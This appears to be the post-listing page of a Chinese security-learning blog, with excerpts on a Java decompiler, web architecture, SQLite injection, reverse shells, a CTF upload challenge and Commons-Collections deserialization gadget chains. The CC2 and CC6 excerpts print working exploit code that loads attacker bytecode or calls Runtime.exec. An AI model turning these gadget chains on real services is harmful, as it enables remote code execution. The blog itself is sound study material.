Solowalker

JD2M源码分析

Tue, 07 Jul 2026 00:00:00 +0000

JD2M源码分析 #

Unicode2CN.java #

这个文件的核心功能是把 Java 源码里的 \uXXXX Unicode 转义序列还原成可读的中文字符

CFR 反编译字节码时，遇到中文字符串会输出成 \u4e2d\u6587 这种形态。JD2M 用这个类做后处理，把反编译结果还原成人类可读的中文。

方法功能 #

1. ascii2Char(String str) — 最底层：单个 \uXXXX 转 char #

private static char ascii2Char(String str) {
	if (str.length() != 6) {
		throw new IllegalArgumentException("Length must be 6, got: " + str.length()); //\uXXXX必须是6个字符
	}
	if (!"\\u".equals(str.substring(0, 2))) { //前缀检查
		throw new IllegalArgumentException("Must start with \\u");
	}
	String tmp = str.substring(2, 4);
	int code = Integer.parseInt(tmp, 16) << 8;
	tmp = str.substring(4, 6);
	code += Integer.parseInt(tmp, 16);
	return (char) code;
}

由于 Java 字符串里 \u 要写成 \\u，因为 \ 本身需要转义。所以传进来的参数长这样：\\u4e16（6 个字符：\ u 4 e 1 6）。

JD2M技术栈——我的Java反编译器

Fri, 03 Jul 2026 00:00:00 +0000

JD2M技术栈——我的 Java 反编译器 #

前置知识：Java 从源码到运行 #

.java 源码
 │
 ▼ javac 编译
.class 字节码文件（平台无关的二进制格式）
 │
 ▼ java 命令启动 JVM
JVM 加载 → 验证 → 解释执行 / JIT 编译 → 机器码

反编译就是把流程反过来：

.class 字节码
 │
 ▼ 反编译器（如 CFR）
.java 源码（近似还原，不可能 100% 还原）

为什么反编译不能百分百还原 #

编译器在编译过程中会丢失一些信息：

丢失的信息	举例
局部变量名	`int a` ← 字节码中无变量名，只有类型和栈位置
泛型参数	`List<String>` → `List`（泛型擦除）
注释	所有注释在编译时被丢弃
格式/缩进	完全不存在
for/while 区别	都变成相同条件的 goto 跳转
switch 字符串	编译为 `hashCode()` 比较 + 跳转表
try-with-resources	编译为 try-catch-finally 模式

class 文件格式 #

每一个.class文件都严格按照一下结构排列：

Web、APP与小程序架构基础

Thu, 02 Jul 2026 00:00:00 +0000

Web、APP与小程序架构基础认知 #

web 应用 #

基本认识 #

域名差异-主站&分站&端口站&子站 #

主站

www.solowalker.com

分站

blog.solowalker.com

端口站

www.solowalker.com:88

子站

123.blog.solowalker.com

www.solowalker.com/hacker

渗透目标一般有两种形式：域名、IP。

一般打开一个网站都是主站，这个主站的域名对应一个 IP。分站的域名也会对应一个 IP，分站的 IP 可以和主站不同，也可以相同。如果分站和主站的 IP 相同，测试分站就可能会影响到主站。所以在信息收集的过程中收集分站的信息可能给我们更多的机会。

当然，分站和主站不放在一起也会有影响。

对于端口站，一个端口可能就会对应一个程序，比如www.solowalker.com:88对应的是 PHP 程序，而到了www.solowalker.com:8080就变成了一个 Java 程序。

对于目录站，一个目录就可能对应一个程序，比如www.solowalker.com是一个博客网站，这是一个 PHP 程序，而www.solowalker.com/bbs是一个论坛网站，是一个 Java 程序。这和端口站是很像的。

了解这些能够让我们在信息收集的过程中了解更多的情况，便于我们发现漏洞。

源码差异-结构&语言&框架&闭源&加密 #

后台目录，文件目录，逻辑目录(代码的逻辑处理能力，看数据的处理等)，前端目录(XSS等前端漏洞，JS攻防等)，数据目录，配置文件等。熟悉目录对于代码审计来说是很重要的。

源码开发语言类型

ASP，ASPX，PHP，Java，Python，Go，javascript等。

ASP属于第一代动态网页技术，是一个服务端脚本环境，可以在 HTML 页面中嵌入脚本语言，主要是 VBScript、JScript，在服务器执行后生成动态网页后再返回给浏览器。

ASPX 是 ASP.NET 的文件后缀，ASP.NET 是一个成熟的面向对象 Web 开发框架，而 ASPX 页面只是其中用于构建 UI 的一种具体文件。ASP.NET 全部预编译为 IL 中间语言，再由 JIT 编译成本地代码。ASP.NET支持强类型语言，目前最主要的是 C# 和 VB.NET。

SQLite下的SQL注入

Sat, 23 May 2026 00:00:00 +0000

SQLite下的SQL注入 #

在极客大挑战复现的时候遇到了 SQLite 数据库的 SQL 注入，所以现在在此记录一下，也是扩展一下关于数据库的知识。

SQLite 基础 #

SQLite 和 MySQL 的区别还是比较大的，由于架构设计、语法和内置函数的不同，所以 MySQL 的注入技巧在 SQLite 上大部分会失效。

下面是 MySQL 和 SQLite 的一些区别：

差异	MySQL	SQLite	注意点
数据库架构	客户端-服务器模式，有独立的服务进程	嵌入式数据据库，整个数据库是一个独立文件	攻击 SQLite时，可能通过文件读取漏洞直接获取`.db`文件，而在 MySQL 中几乎不可能
元数据表	通过`information_schema`数据库查询所有表、列信息	使用`sqlite_master`表存储所有表结构信息	所有基于`information_schema`的语句都会失效
多语句执行	PHP等连接器默认不支持堆叠注入	支持使用`;`执行多条SQL语句	SQLite的注入理论上危害更大，可以直接执行`INSERT/UPDATE/DELETE`等语句
盲注函数	常用`sleep()`或`benchmark()`制造时间延迟来判断条件	无`sleep()`函数，需要找替代方案	所有基于`sleep()`的延时注入脚本和工具都无法直接使用
用户与权限	有完整的用户和权限系统，可高权限跨库操作或读写文件	无用户概念，其权限完全基于操作系统对文件的读写权限	无法使用`load_file`、`into outfile()`这类需要MySQL特定权限的函数
文件操作	拥有`FILE`权限时可使用`load_file()`和`into outfile()`读写文件	没有内置的文件读写函数，可通过附加数据库等方式间接操作	直接的读写文件操作无法执行

SQLite简介 #

SQLite 是一个轻量级、无服务器、直接读写文件的数据库。它的架构是嵌入式，不是独立进程，而是一个链接到程序中的库，数据库就是一个文件，这点可以理解为C语言中 include 文件，一个程序includeSQLite，就把 SQLite 中所有的函数声明都引入进来了。

由于 SQLite 是一个独立文件，所以 SQLite 没有用户验证，读写操作完全依赖于操作系统的权限。

java反序列化之CB

Thu, 21 May 2026 00:00:00 +0000

java反序列化之CB #

CommonsBeanUtils 简介 #

Apache Commons 工具集下除了 collections 以外还有 BeanUtils ，它主要用于操控 JavaBean 。

先说说什么是 JavaBean。

一般 JavaBean 的格式就是private的字段和对字段进行读写操作的public方法，最常见的就是getter和setter。

CommonsBeanUtils 这个包也可以操作 JavaBean，例如：

public class Baby { 
 private String name = "abc"; 
 
 public String getName(){ 
 return name; 
	} 
 
 public void setName (String name) { 
 this.name = name; 
	} 
}

这里定义了两个简单的getter和setter，如果用@Lombok的注解也是一样的，使用 @Lombok 的注解不需要写 getter和setter。例如：

@Data // 或者 @Getter @Setter
public class User {
 private String name;
 private int age;
 // 不需要写 getter/setter，Lombok 会在编译时自动生成
}

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty，让使用者可以直接调用任意 JavaBean 的 getter 方法，示例如下：

java反序列化之CC7

Wed, 20 May 2026 00:00:00 +0000

java反序列化之CC7 #

CC7 链分析 #

CC7 的后半段链子和 CC1 是一样的，前半段先看一下 yso 的链子：

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

入口类是Hashtable，看一下readObject方法的源码：

private void readObject(java.io.ObjectInputStream s)
 throws IOException, ClassNotFoundException
 {
 // Read in the length, threshold, and loadfactor
 s.defaultReadObject();

 // Read the original length of the array and number of elements
 int origlength = s.readInt();
 int elements = s.readInt();

 // Compute new size with a bit of room 5% to grow but
 // no larger than the original size. Make the length
 // odd if it's large enough, this helps distribute the entries.
 // Guard against the length ending up zero, that's not valid.
 int length = (int)(elements * loadFactor) + (elements / 20) + 3;
 if (length > elements && (length & 1) == 0)
 length--;
 if (origlength > 0 && length > origlength)
 length = origlength;
 table = new Entry<?,?>[length];
 threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
 count = 0;

 // Read the number of elements and then all the key/value objects
 for (; elements > 0; elements--) {
 @SuppressWarnings("unchecked")
 K key = (K)s.readObject();
 @SuppressWarnings("unchecked")
 V value = (V)s.readObject();
 // synch could be eliminated for performance
 reconstitutionPut(table, key, value);
 }
 }

在最后调用了Hashtable.reconstitutionPut()方法，跟进一下：

java反序列化之CC5

Tue, 19 May 2026 00:00:00 +0000

java反序列化之CC5 #

CC5 链分析 #

先看一下 yso 给的 CC5 链子：

ObjectInputStream.readObject()
 -> BadAttributeValueExpException.readObject()
 -> TiedMapEntry.toString()
 -> TiedMapEntry.getValue()
 -> LazyMap.get()
 -> ChainedTransformer.transform()
 -> InvokerTransformer.transform() (反射调用)
 -> Runtime.exec()

入口类是BadAttributeValueExpException的readObject()方法，反序列化漏洞的起点一般都是readObject。

toString()方法实在太多，就从头开始分析。

首先是BadAttributeValueExpException类的readObject方法：

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 ObjectInputStream.GetField gf = ois.readFields();
 Object valObj = gf.get("val", null);

 if (valObj == null) {
 val = null;
 } else if (valObj instanceof String) {
 val= valObj;
 } else if (System.getSecurityManager() == null
 || valObj instanceof Long
 || valObj instanceof Integer
 || valObj instanceof Float
 || valObj instanceof Double
 || valObj instanceof Byte
 || valObj instanceof Short
 || valObj instanceof Boolean) {
 val = valObj.toString(); //这里是调用链的一环
 } else { // the serialized object is from a version without JDK-8019292 fix
 val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
 }
 }

这里就调用了toString()方法，根据 yso 的链子，接下来是TiedMapEntry类的toString()方法：

java反序列化之CC2

Mon, 18 May 2026 00:00:00 +0000

java反序列化之CC2 #

CC2 链分析 #

CC2 这条链子是在 CC4 的基础上修改了一部分，主要是为了避免使用Transformer数组。

在 CC4 的基础上，抛弃了用InstantiateTransformer类将TrAXFilter初始化，以及 TemplatesImpl.newTransformer() 这个步骤。

CC2 的前半部分，还是和compare()方法相关，最后是TemplatesImpl动态加载字节码，和 CC4 最后部分是一样的。而难点就在InvokerTransformer的连接。

EXP 编写 #

先回顾一下调用链：

入口类我们选择PriorityQueue，因为这个类实现了java.io.Serializable接口，也有重写的readObject方法，在readObject方法中调用了PriorityQueue.heapify()，heapify()方法中调用了PriorityQueue.siftDown()方法，siftDown()方法中调用了PriorityQueue.siftDownUsingComparator()方法，siftDownUsingComparator()方法中会调用comparator属性的compare()方法。
此时我们把comparator属性初始化为TransformingComparator对象，就会调用TransformingComparator对象的compare()方法，compare()方法中会调用transformer属性的transform()方法，transformer属性是在我们实例化这个类的时候传的参数赋值的，所以我们传一个InvokerTransformer对象，就会调用transform方法实现反射调用任意类。

但目前有一个问题，调用InvokerTransformer.transform()传的参数要是我们实例化的TemplatesImpl，但是是怎么把这个参数传递进去的？在 CC4 中分析过，我们要对priorityQueue这个对象add两次才能运行，这里关键就在于这个add。在 CC4 中也分析过，调用add方法也会触发compare()方法，这样就会导致没有进行序列化时就加载了字节码。所以我们会先把TransformingComparator的transformer属性设置为一个无关值，等add完之后在反射改回来。同时，如果我们add(templates)两次，这样不仅能够进入循环，还能把templates传入compare()方法，从而实现调用到InvokerTransformer.transform(templates)。
这样就进入InvokerTransformer的反射调用环节，如果我们想要动态加载字节码，此时需要调用templates的newTransformer方法，我们把newTransformer方法放到InvokerTransformer.transform()方法中去就能实现。

完整EXP #

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {

 public static void serialize(Object obj) throws Exception {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws Exception {
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 public static void main(String[] args) throws Exception{
 TemplatesImpl templates = new TemplatesImpl();

 Class<? extends TemplatesImpl> templatesClass = templates.getClass();
 Field name = templatesClass.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates,"abc");

 Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] evil = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class"));
 byte[][] codes={evil};
 bytecodes.set(templates,codes);

 InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

 PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
 priorityQueue.add(templates);
 priorityQueue.add(templates);

 Class<? extends TransformingComparator> c = transformingComparator.getClass();
 Field transformer = c.getDeclaredField("transformer");
 transformer.setAccessible(true);
 transformer.set(transformingComparator,invokerTransformer);

 serialize(priorityQueue);
 unserialize("ser.bin");
 }
}

总结 #

CC 链直接差别都不大，前面的学懂了后面的链子很容易上手。

java反序列化之CC4

Sun, 17 May 2026 00:00:00 +0000

java反序列化之CC4 #

CC4 链分析 #

CC 链的漏洞一般都和transform方法分不开。

我们前面学习的 CC1、CC6、CC3，命令执行的方法就两种，为反射或动态加载字节码。而 CC4 链中如果Commons-Collections4的版本在 4.1， InvokerTransformer类不再继承Serializable接口了，无法序列化。

既然InvokerTransformer用不了，我们就去看看谁能替代它。这里使用的是InstantiateTransformer，它的transform方法中反射调用了构造器，接下来看看谁调用了transform()。

在TransformingComparator类的compare()方法中调用了transform()方法，而这个方法也很常见。

TransformingComparator#compare()：

public int compare(final I obj1, final I obj2) {
 final O value1 = this.transformer.transform(obj1);
 final O value2 = this.transformer.transform(obj2);
 return this.decorated.compare(value1, value2);
 }

这个链子就和之前的3条不同了。接着往前找，在java.util.PriorityQueue这个类中的siftDownUsingComparator方法中调用了compare()方法：

private void siftDownUsingComparator(int k, E x) {
 int half = size >>> 1;
 while (k < half) {
 int child = (k << 1) + 1;
 Object c = queue[child];
 int right = child + 1;
 if (right < size &&
 comparator.compare((E) c, (E) queue[right]) > 0)
 c = queue[child = right];
 if (comparator.compare(x, (E) c) <= 0)
 break;
 queue[k] = c;
 k = child;
 }
 queue[k] = x;
 }

接着往上找，在这个类的siftDown中调用了siftDownUsingComparator：

java反序列化之CC3

Thu, 14 May 2026 00:00:00 +0000

java反序列化之CC3 #

CC3 简介 #

CC3 和之前的 CC1 和 CC6 有很大区别，CC1 和 CC6 是通过Runtime.exec()进行命令执行的，很多时候代码中会 ban 了Runtime。

而在 CC3 中，是通过动态类加载机制实现自动执行恶意类代码的。

下面再回顾以下 java 动态类加载机制。

TemplatesImpl 解析 #

在我之前动态类加载的博客中有讲过利用ClassLoader#defineClass直接加载字节码的方法。在这一条链子中，简单说就是调用ClassLoader.loadClass()，然后会调用ClassLoader.findClass()，然后会调用ClassLoader.defineClass()。

这里从正向看这个链子，首先loadClass()，作用是从已加载的类缓存、父加载器等位置寻找类（即双亲委派机制），在前面没有找到的情况下执行findClass()。findClass()这个方法根据名称或位置加载 class 字节码，然后调用defineClass()。findClass()这个方法通常会由子类实现。

defineClass()的作用是处理前面传入的字节码，把字节码转化成真正的 java 类。而此时的defineClass()是有局限性的，因为只加载类，并不执行类。若需要执行，则需要先进行newInstance()实例化。

ClassLoader的defineClass()方法的作用域为protected，我们需要找到作用域为public的类方便使用。

在TemplatesImpl类的静态内部类TransletClassLoader中找到了我们能够运用的defineClass。

Class defineClass(final byte[] b) {
 return defineClass(null, b, 0, b.length);
 }

这里的defineClass()没有标注作用域，默认为包级私有，在自己的类里可以调用。继续查找用法。

在TemplatesImpl的defineTransletClasses方法中找到了调用，这个方法是私有的，找一下谁调用了defineTransletClasses。

还是同一个类下的getTransletInstance()方法调用了defineTransletClasses：

private Translet getTransletInstance()
 throws TransformerConfigurationException {
 try {
 if (_name == null) return null;

 if (_class == null) defineTransletClasses(); //调用点

 // The translet needs to keep a reference to all its auxiliary
 // class to prevent the GC from collecting them
 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
 translet.postInitialization();
 translet.setTemplates(this);
 translet.setServicesMechnism(_useServicesMechanism);
 translet.setAllowedProtocols(_accessExternalStylesheet);
 if (_auxClasses != null) {
 translet.setAuxiliaryClasses(_auxClasses);
 }

 return translet;
 }
 catch (InstantiationException e) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 catch (IllegalAccessException e) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 }

这里同时还有一个newInstance()实例化的过程，如果能走完这个函数就能动态执行代码，但是因为是私有的，得继续找。

java反序列化之CC6

Wed, 13 May 2026 00:00:00 +0000

java反序列化之CC6 #

CC6 链分析 #

前半段链子，从LazyMap到InvokerTransformer类是一样的。

我们直接从LazyMap开始找其他调用get的地方。

寻找链子 #

在 ysoSerial 给的链子中，是TiedMapEntry的getValue()方法调用了LazyMap的get()方法。

再来一次LazyMap弹出计算器的方法：

package org.example.originaltest;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6Test {
 public static void main(String[] args) {

 Runtime runtime = Runtime.getRuntime();

 InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

 HashMap<Object, Object> map = new HashMap<>();
 Map decorate = LazyMap.decorate(map, exec);

 decorate.get(runtime);
 }
}

下一步就是让TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。下面使用TiedMapEntry写一个exp。

package org.example.originaltest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6Test {
 public static void main(String[] args) throws Exception{

 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

 HashMap<Object, Object> map = new HashMap<>();
 Map lazyMap = LazyMap.decorate(map, chainedTransformer);

 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
 tiedMapEntry.getValue();
 
 }
}

这里的逻辑还是很简单的，我们创建一个TiedMapEntry对象，然后把我们构造的LazyMap传进去并直接调用setValue方法，就会调用到map.get(key)。

MySQL数据库盲区补充

Thu, 07 May 2026 00:00:00 +0000

MySQL数据库盲区补充 #

字符集 #

字符集的作用和字符编码基本可以当作一回事。

字符集就是一个字典，规定了“A 编号多少？‘中’字编号多少？”比如在 utf8mb4 这本字典里，“中”字的编号是0xE4B8AD。如果甲用 utf8mb4 编码，乙却拿 gbk 字典去解码，就会看到乱码。

utf8 与 utf8mb4 #

这是 MySQL 历史上最著名的“坑”之一，一定要记住：

MySQL 的 utf8 不是真正的 UTF-8，它最多只支持 3 字节的字符。

真正的 UTF-8 标准字符有 1~4 个字节。所以，MySQL 的 utf8 根本无法存储 emoji 表情、部分罕见的汉字、辅助字符。

当你存一个 emoji 表情 😂 时，它会报错或从插入位置被截断，后面的内容一并丢掉。
这也是为什么现在数据库里真正要用 UTF-8 的时候，看到的都是 utf8mb4，它的全称是 UTF-8 Multibyte 4，就是支持 4 字节的完整 UTF-8 实现。

字符集的三个层级 #

MySQL 的字符集设置非常灵活，可以在不同层面生效，从上到下依次是：

服务器层 影响创建新库时的默认字符集。
```
SHOW VARIABLES LIKE 'character_set_server'；
```
数据库层 新建库时若不特别指定，就继承服务器设置。建库时可以明确声明：
```
CREATE DATABASE mydb CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci；
```
表与列层 建表时继承库设置，但你也可以为各列设置不同的字符集，这也是最灵活的一层。

JDK动态代理

Fri, 01 May 2026 00:00:00 +0000

JDK动态代理 #

代理模式 #

核心定义：为目标对象提供一个代理对象，并由代理对象控制对目标对象的方法。代理对象可以在目标对象执行的前后，进行额外的增强处理，目标对象只需要专注自己的核心业务逻辑即可。

静态代理 #

简单理解 #

角色分析：

抽象角色：一般使用接口或抽象类来解决
真实角色：被代理的角色
代理角色：代理真实角色，代理真实角色后会做一些附属操作
客户：访问代理的人

以租客找中介向房东租房为例：

Rent.java

package JDKproxy.staticProxy;

public interface Rent {
 public void rent();
}

租房这件事是需要中介和房东完成的，是一个抽象角色，所以需要用接口实现。

Host.java

package JDKproxy.staticProxy;

public class Host implements Rent{
 @Override
 public void rent() {
 System.out.println("房东出租房子");
 }
}

这是房东类，需要实现 Rent 接口。

RentProxy.java

package JDKproxy.staticProxy;

public class RentProxy implements Rent{

 private Host host;

 public RentProxy(Host host) {
 this.host = host;
 }

 public RentProxy() {
 }

 @Override
 public void rent() {
 host.rent();
 seeHouse();
 fare();
 contract();
 }

 public void seeHouse(){
 System.out.println("中介看房");
 }

 public void fare(){
 System.out.println("收中介费");
 }

 public void contract(){
 System.out.println("签合同");
 }
}

这是中介类，也就是代理，中介代表房东出租房子，同时也会提供一些额外的服务。

反弹shell

Fri, 01 May 2026 00:00:00 +0000

反弹 shell #

前言 #

反弹 shell，就是让攻击机监听在某个 TCP/UDP 端口为服务端，目标主机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。

机器的两种连接方式 #

正向连接 #

假设我们攻击一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（ip:port），这是比较常规的方式，我们叫做正向连接。远程桌面、 web 服务、ssh、telnet 等等都是正向连接。

下面简单讲讲这些正向连接的过程（因为这部分也是我的知识盲区了，我还得练啊）。

远程桌面 #

第一阶段：发起连接 #

在电脑上打开以一个”远程桌面连接“工具，输入对方的 ip，然后点击”连接“。

第二阶段：协议协商 #

这里是技术含量较高的部分，主要由远程桌面协议（RDP）在后台自动化完成：

默认走TCP通道：首先客户端通过默认的3389端口，与被控电脑（服务器端）建立一个基于 TCP 协议的连接。TCP 连接非常可靠，能保证初始的握手信息不丢包。
尝试升级UDP通道：如果网络条件允许（如防火墙没有拦截），RDP 会尝试建立一个基于 UDP 协议的连接。因为 UDP 传输效率更高、延迟更低，会让后续的远程操作更流畅，尤其适合传输画面和声音。如果 UDP 建立成功，之前的 TCP 连接可能会被释放，所有浏览都切换到 UDP 上。

第三阶段：身份验证 #

通道建立完成后，会进行严格的安全检查：

加密协商：客户端和服务器会商量用一种双方都支持的加密方式。RDP 默认使用 RC4 加密算法，密钥长度可达128位，确保在验证身份和后续传输数据时，信息都是密文，不会被窃取。
递交凭证：这时，你的屏幕上会弹出窗口，要求输入被控电脑的账号和密码。这一般需要是对方电脑上一个设置了密码的本地账户或微软账户。
网络级身份验证（NLA）：为了更安全，现代Windows系统默认会开启NLA。它的好处是，在建立完整的远程桌面连接之前，就先把你的身份凭证验证完。这可以有效防止未授权用户消耗服务器资源，也能抵御某些类型的攻击。

第四阶段：会话建立与数据传输 #

一旦身份验证通过，一个专属你的远程会话就建立了。此时，RDP的多通道能力开始作用，它会把不同类型的任务放到不同的“车道”上并行处理。

Web 服务 #

第一步：解析URL，确定目的地 #

当我们在浏览器地址栏输入https://www.example.com/index.html并回车后，浏览器会先解析这个URL，拆解出关键信息：

Java IO流

Wed, 29 Apr 2026 00:00:00 +0000

Java IO流 #

流简介 #

什么是流 #

在 java 中，流是对数据传输的抽象。我们可以想象成一个水管，数据是水，从源流向目的地。不管数据来自文件、网络、内存还是键盘，处理方式都是类似的。

流的本质是字节序列，java 用统一的视角看待所有 I/O 操作。

IO 是指 Input/Output，即输入和输出，以内存为中心。

那么为什么要把数据读到内存中才能处理这些数据？因为代码都是在内存中运行的，数据也必须读取到内存中，最终的表示方式一般是 byte 数组，字符串等，都必须存放在内存中。

从 java 代码看，输入则是从外部（如硬盘上的某个文件）把内容读取到内存中，并且以 java 提供的某种数据类型表示。例如，byte[]、String等，这样后续代码才能处理这些数据。

因为内存有“易失性”的特点，即一断电数据就消失了，所以必须把处理之后的数据以某种形式输出，例如写入文件。Output 实际上就是把 java 表示的数据格式（如byte[]，String）输出到某个地方。

IO 流是一种顺序读写数据的模式，特点是单向流动，数据类似水一样。

创建文件的三种方式 #

根据路径创建一个 File 对象 #

使用new File(String pathname)

package IOStream;

import java.io.File;
import java.io.IOException;

public class IOStreamTest {

 public static void createFile() throws Exception{
 File file = new File("C:\\Users\\32202\\Desktop\\java测试\\test\\src\\IOStream\\Files\\test.txt");
 try {
 file.createNewFile();
 System.out.println("successful");
 } catch (IOException e) {
 throw new RuntimeException(e);
 }
 }

 public static void main(String[] args) throws Exception{
 createFile();
 }
}

根据父目录 File 对象，在子路径创建一个文件 #

使用new File(File parent,String child)

java类的动态加载

Fri, 24 Apr 2026 00:00:00 +0000

java类的动态加载 #

类加载器和双亲委派机制 #

类加载器的作用 #

一句话概括：把类的字节码文件（.class）加载到 JVM 内存中，并转换成可以被虚拟机直接使用的 java 类，即 Class 对象。

加载 Class 文件

Person p = new Person();

Person这个类本身是抽象的，通过new操作，实例化。类加载做的则是把类这个模板经过编译形成的字节码传入 JVM，生成一个具备这个类的所有数据的 Class 对象。(Class 对象就当成是这个类理解即可)

ClassLoader 的工作流程：

首先，一个类编译后形成的 class 文件经过类加载器进入 JVM并产生 Class 对象，然后在 JVM 中进行初始化，我们可以通过这个 Class 对象的 getClassLoader() 方法获取这个类对应的类加载器。我们也可以通过对这个 Class 对象调用其 newInstance() 方法来实例化一个对象，通过这个实例化对象的 getClass() 方法来获取对应的 Class 对象。

3种类加载器 #

启动类加载器 (Bootstrap ClassLoader) #

其底层原生代码属是由 C++ 编写的，属于 JVM 的一部分。

不继承于java.lang.ClassLoader类，也没有父类加载器，主要负责加载核心 java 库（即 JVM 本身），储存在/jre/lib/rt.jar中。

扩展类加载器 (ExtensionsClassLoader) #

这个类加载器是由sun.misc.Launcher$ExtClassLoader类实现的，用来加载/jre/lib/ext或java.ext.dirs指定的目录。Java 虚拟机会提供一个扩展库目录，此类加载器在目录中查找并加载 java 类。

java反序列化之URLDNS链

Tue, 21 Apr 2026 00:00:00 +0000

java反序列化之URLDNS链 #

java反序列化 #

在 java 中，如果一个对象实现了 Serializable 接口就可以被序列化，java 的这种序列化模式为开发者提供了很多便利，我们可以不必关心具体序列化的过程，只要这个类实现了 Serilizable 接口，这个类的所有属性和方法都会自动序列化，transient 关键字修饰的属性除外，不参与序列化过程。

URLDNS链 #

这条利用链有一下特点：

不限制 jdk 版本，使用 java 内部类，对第三方依赖没用要求
目标无回显，可以通过 DNS 请求来验证是否存在反序列化漏洞
URLDNS链只能发起 DNS 请求，并不能进行其他利用。虽然没有任何攻击性，但是在渗透测试的过程中能进行无回显验证

在 ysoserial 中列出的调用链：

* Gadget Chain:
 * HashMap.readObject()
 * HashMap.putVal()
 * HashMap.hash()
 * URL.hashCode()

原理 #

java.util.HashMap重写了readObject方法，在反序列化时会调用hash函数计算 key 的 hashCode。而java.net.URL的 hashCode 在计算时会调用getHostAddress来解析域名，从而发出 DNS 请求。

定位到 HashMap#readObject 方法：

private void readObject(ObjectInputStream s)
 throws IOException, ClassNotFoundException {

 ObjectInputStream.GetField fields = s.readFields();

 // Read loadFactor (ignore threshold)
 float lf = fields.get("loadFactor", 0.75f);
 if (lf <= 0 || Float.isNaN(lf))
 throw new InvalidObjectException("Illegal load factor: " + lf);

 lf = Math.clamp(lf, 0.25f, 4.0f);
 HashMap.UnsafeHolder.putLoadFactor(this, lf);

 reinitialize();

 s.readInt(); // Read and ignore number of buckets
 int mappings = s.readInt(); // Read number of mappings (size)
 if (mappings < 0) {
 throw new InvalidObjectException("Illegal mappings count: " + mappings);
 } else if (mappings == 0) {
 // use defaults
 } else if (mappings > 0) {
 double dc = Math.ceil(mappings / (double)lf);
 int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
 DEFAULT_INITIAL_CAPACITY :
 (dc >= MAXIMUM_CAPACITY) ?
 MAXIMUM_CAPACITY :
 tableSizeFor((int)dc));
 float ft = (float)cap * lf;
 threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
 (int)ft : Integer.MAX_VALUE);

 // Check Map.Entry[].class since it's the nearest public type to
 // what we're actually creating.
 SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
 @SuppressWarnings({"rawtypes","unchecked"})
 Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
 table = tab;

 // Read the keys and values, and put the mappings in the HashMap
 for (int i = 0; i < mappings; i++) {
 @SuppressWarnings("unchecked")
 K key = (K) s.readObject();
 @SuppressWarnings("unchecked")
 V value = (V) s.readObject();
 putVal(hash(key), key, value, false, false);
 }
 }
 }

这里我们只需要关注putVal方法，这是一个向 HashMap 中存放键值对的方法，这里调用了hash方法来处理了 key，定位到hash方法：

PHP文件上传不含PHP代码实现RCE的方法

Sat, 18 Apr 2026 00:00:00 +0000

PHP文件上传不含PHP代码实现RCE的方法 #

?CTF2025复现 #

题目源码 #

<?php
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
 'application/zip',
 'application/x-bzip2',
 'application/gzip',`
 'application/x-gzip',
 'application/x-xz',
 'application/x-7z-compressed',
